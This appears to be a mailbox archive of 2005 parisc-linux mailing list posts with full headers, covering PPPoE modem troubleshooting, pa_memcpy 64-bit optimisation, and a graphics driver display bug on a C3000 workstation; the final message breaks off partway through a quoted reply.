List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22281

On Sun January 9 2005 17:00, Dany Joly wrote:
>
Which ethernet port is the modem connected to?
Is the modem setup as a bridge or is it also doing PPPoE?

Note:

> Nov  9 03:16:38 mammoth pppd[392]: local  IP address 67.70.77.230
> Nov  9 03:16:38 mammoth pppd[392]: remote IP address 64.230.254.187
> Nov  9 03:16:38 mammoth pppd[392]: primary   DNS address 206.47.244.89
> Nov  9 03:16:38 mammoth pppd[392]: secondary DNS address 206.47.244.133
>
- - - -
> mammoth:/home/dany# ifconfig
> eth0      Link encap:Ethernet  HWaddr 00:60:B0:D0:45:CD
>           inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
- - - -
> 
> eth1      Link encap:Ethernet  HWaddr 00:20:18:55:97:37
>           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
- - - -
> 
> ppp0      Link encap:Point-to-Point Protocol
>           inet addr:67.70.77.230  P-t-P:64.230.254.187  Mask:255.255.255.255
>           UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1492  Metric:1
- - - -
>
> mammoth:/tmp# route -n -F
> Kernel IP routing table
> Destination     Gateway         Genmask         Flags Metric Ref    Use 
> Iface
> 64.230.254.187  0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
> 192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
> 0.0.0.0         64.230.254.187  0.0.0.0         UG    0      0        0 ppp0
> 
- - - - 
> /usr/sbin/pppd call dsl-provider
> root       393  0.0  0.0  1548  560 ?        S    03:16   0:00 
> /usr/sbin/pppoe -I eth1 -T 80 -m 1452
- - - -

eth1 ?  
Some modems expect the interface to have an address assigned.

Modem must be on eth1 - since PPPoE is up and running.
ppp is up and running - since it got the addresses and DNS.
Default route is to ppp0 - which is as expected.

Can you ping the nameservers?

In addition to trying a newer (fixed) ppp - check for the
modem still configured to do PPPoE.

The above outputs presume that the modem is configured
as a bridge.  
(a)dsl modems usually ship with PPPoE enabled.
If you are using a modem supplied by Bell Canada, it probably
also shipped with PPPoE enabled.

(a)dsl supports multiple sessions - the far end may be only listening
to the PPPoE session setup by the modem.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Tue, 11 Jan 2005 19:14:50 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <41DE61B80000150A@mail-8-bnl.mail.tiscali.sys>
References: <20050110085446.GS18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623648 12531 80.91.229.3 (22 Nov 2014 02:34:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jan 2005 18:16:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 11 Jan 2005 19:16:21 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 743583BE64; Tue, 11 Jan 2005 11:16:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11893-01; Tue, 11 Jan 2005 11:16:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D34023BE63; Tue, 11 Jan 2005 11:15:04 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B7E783BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 11:14:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08660-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 11:14:54 -0700 (MST)
Original-Received: from mail-r3.tiscali.it (unknown [213.205.37.211])
	by free.linux.hp.com (Postfix) with ESMTP id 18F423BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 11:14:53 -0700 (MST)
Original-Received: from tiscali.be (10.39.113.122)
	by mail-r3.tiscali.it with ESMTP; 11 Jan 2005 19:14:52 +0100
Original-Received: from mail-8-bnl.mail.tiscali.sys ([10.39.115.138]
	helo=mail-8-bnl.tiscali.it)
	by mrq-2.tiscalinet.it with esmtp (Exim 4.43)
	id 1CoQXa-0002cN-AQ; Tue, 11 Jan 2005 19:14:51 +0100
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Tue, 11 Jan 2005 19:14:50 +0100
In-Reply-To: <20050110085446.GS18497@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22282

Hello Randolph,

> 
> > I need obvioulsy to understand those details 
Well I think that I have understand (for the most) cpy_dstalign() what a
nice work and so interesting ins't it :-)

btw I just have an aditional question (not to work on now but later I ris=
k
to forget):
why don't you save the usage of OPSIZ (defined sizeof(unsigned long int))=

and use shrpd, ldd, std when ifdef __LP64__ ? (certainly another stuff I
missed sorry )

>beacuse to work with str I
> would
> > need to check somehow if there are a byte =3D=3D 0 in the on going wo=
rd (I
> already
> > find a formula to do this into other arch) to jump to byte_copy (so n=
eed
> > more work ;-)
> 
I can try to continue now ;-)

Thanks again to all for help,
    Joel

-------------------------------------------------------------------------=
--
Tiscali solde! 1 mois et activation Gratuits, modem =E0 9,99=80
http://reg.tiscali.be/adsl/default.asp?lg=3DFR



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: pa_memcpy: 2 small question
Date: Tue, 11 Jan 2005 17:49:11 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20050112014911.GW18497@tausq.org>
References: <20050110085446.GS18497@tausq.org>
	<41DE61B80000150A@mail-8-bnl.mail.tiscali.sys>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623649 12532 80.91.229.3 (22 Nov 2014 02:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2005 01:50:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 12 Jan 2005 02:50:17 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 655B83BC80; Tue, 11 Jan 2005 18:50:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14101-08; Tue, 11 Jan 2005 18:49:50 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D43393BE5D; Tue, 11 Jan 2005 18:49:20 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 915003BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 18:49:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14101-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 18:49:14 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 86F603BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 18:49:14 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 99BA847CB3; Tue, 11 Jan 2005 17:49:11 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <41DE61B80000150A@mail-8-bnl.mail.tiscali.sys>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22283

> why don't you save the usage of OPSIZ (defined sizeof(unsigned long int))
> and use shrpd, ldd, std when ifdef __LP64__ ? (certainly another stuff I
> missed sorry )

that can be done as well, but cpy_dstaligned is supposed to be a
slow-path for the copy routine, and doing __LP64__ stuff means i can't
easily test it in userspace, so i didn't bother. you are certainly
welcome to try.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Vis-EG card problems on c3k with 2.6.10-pa10?
Date: Wed, 12 Jan 2005 00:11:46 -0500
Lines: 42
Approved: news@gmane.org
Message-ID: <20050112051146.GC1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623649 12537 80.91.229.3 (22 Nov 2014 02:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2005 05:12:09 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 12 Jan 2005 06:12:09 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1605B3BC80; Tue, 11 Jan 2005 22:12:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16754-09; Tue, 11 Jan 2005 22:12:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4FEE03BE5D; Tue, 11 Jan 2005 22:11:53 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A48883BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 22:11:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16653-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 22:11:48 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 99E403BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 22:11:48 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CoanL-0000iy-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 00:11:47 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22284


pa,

Running 2.6.10-pa10, 

STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f6000000 (64 kB), fb at fa000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIDX1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIDX1280, 
id: 2d08c0a7, mmio : 0xfa100000

I can get something on the screen, but Tux is corrupted beyond
recognition and gdm is squished to the right.

Anyone running a new kernel and a PCI Vis-EG card and has a success
check?

processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8500 (PCX-W)
cpu MHz         : 400.000000
model           : 9000/785/C3000
model name      : AllegroHigh W
hversion        : 0x00005bb0
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 794.62
software id     : 2011698862

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Vis-EG card problems on c3k with 2.6.10-pa10?
Date: Wed, 12 Jan 2005 00:54:19 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20050112055419.GD1281@baldric.uwo.ca>
References: <20050112051146.GC1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623649 12543 80.91.229.3 (22 Nov 2014 02:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2005 05:54:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx071) with SMTP; 12 Jan 2005 06:54:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 052B63BE63; Tue, 11 Jan 2005 22:54:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17782-06; Tue, 11 Jan 2005 22:54:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DF83F3BE68; Tue, 11 Jan 2005 22:54:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 116803BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 22:54:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17782-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 22:54:21 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 12AF63BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 11 Jan 2005 22:54:21 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CobSW-0000po-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 00:54:20 -0500
Content-Disposition: inline
In-Reply-To: <20050112051146.GC1281@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22285

On Wed, Jan 12, 2005 at 12:11:46AM -0500, Carlos O'Donell wrote:
> I can get something on the screen, but Tux is corrupted beyond
> recognition and gdm is squished to the right.

Let me rephrase that, X starts as a grey rectangle taking up only 1/5 of
the screen on the right hand side. When gdm starts that grey becomes
green.

The fbdev libggi demos don't display anything either, and that rules out
X in my opinion and points to a driver issue.

I'm going to roll back to 2.6.9 and see...

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: copy_user_page_asm suggested 64bit improvment [Was:
	[parisc-linux] clear user page test]
Date: Wed, 12 Jan 2005 07:52:07 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <200501120752.07206.mszick@wolfbutter.com>
References: <418A80E8000124B5@mail-6-bnl.tiscali.it>
	<200412311535.28359.mszick@wolfbutter.com>
	<20041231225447.GC23592@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623650 12545 80.91.229.3 (22 Nov 2014 02:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jan 2005 13:53:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 12 Jan 2005 14:53:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D208C3BE51; Wed, 12 Jan 2005 06:53:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22807-01; Wed, 12 Jan 2005 06:53:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C938E3BE5D; Wed, 12 Jan 2005 06:52:53 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A32C3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 06:52:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20725-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 06:52:45 -0700 (MST)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 5F4633BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 06:52:45 -0700 (MST)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	j0CDqjKH020614 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 12 Jan 2005 05:52:45 -0800 (PST)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [67.77.197.225] (via account 20976)
	by mx-out.daemonmail.net with ESMTP id ocr0DYX5
	authenticated by SMTP; Wed, 12 Jan 2005 05:52:44 -0800 (PST)
User-Agent: KMail/1.6.2
In-Reply-To: <20041231225447.GC23592@colo.lackof.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22286

On Fri December 31 2004 16:54, Grant Grundler wrote:
> On Fri, Dec 31, 2004 at 03:35:28PM -0600, Michael S. Zick wrote:
> > I tried the 'patch that works' route with a similar suggestion for sched.c
> > Based on that experience...
> 
> ah good. You learned something. :^)
> 
> > What I proposed was:
> > The memory page free pool be defined as a 'virtual device' with
> > a two part driver.
> ...
> > In this virtual free pool device, the kernel is the 'client' and the
> > daemon is the 'host' (which only happens to be part of the kernel).
> > Only the 'client' code is in the user's execution path.
> 
